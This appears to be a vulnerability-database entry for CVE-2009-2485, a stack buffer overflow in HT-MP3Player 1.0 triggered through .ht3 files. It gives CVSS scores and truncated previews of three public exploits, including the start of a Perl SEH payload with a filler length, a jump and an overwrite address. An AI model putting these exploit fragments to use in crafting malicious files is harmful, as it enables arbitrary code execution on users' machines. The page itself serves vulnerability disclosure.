9.3
CVSSv2

CVE-2009-2485

Published: 16/07/2009 Updated: 19/09/2017
CVSS v2 Base Score: 9.3 | Impact Score: 10 | Exploitability Score: 8.6
VMScore: 945
Vector: AV:N/AC:M/Au:N/C:C/I:C/A:C

Vulnerability Summary

Stack-based buffer overflow in HT-MP3Player 1.0 allows remote malicious users to execute arbitrary code via a long string in a .ht3 file.

Vulnerability Trend

Vulnerable Product Search on Vulmon Subscribe to Product

tingan ht-mp3player 1.0

Exploits

## # $Id: ht_mp3player_ht3_bofrb 9179 2010-04-30 08:40:19Z jduck $ ## ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions Please see the Metasploit # Framework web site for more information on licensing and terms of use # metasploitcom/framework/ ## require 'msf/core' c ...
#usage: exploitpy print "**************************************************************************" print " HT-MP3Player 10 (ht3) Universal Buffer Overflow (SEH)\n" print " Original author: hack4love<=(my friend)\n" print " Universal exploit : His0k4\n" print " Tested on: Windows XP Pro SP3 (EN)\n" print " greetz: All friends (DZ),sec-r1zco ...
#!/usr/bin/perl # by hack4love # hack4love@hotmailcom # HT-MP3Player 10 (ht3 File) Local buffer Overflow (seh) # # Greetz to all my friends # form egypt ## easy :d ## Tested on: Windows XP Pro SP2 (EN) ########################################################## my $bof="\x41" x 4108; my $nsh="\xEB\x06\x90\x90"; my $seh="\xbe\x2e\xd1\x72"; my $nop ...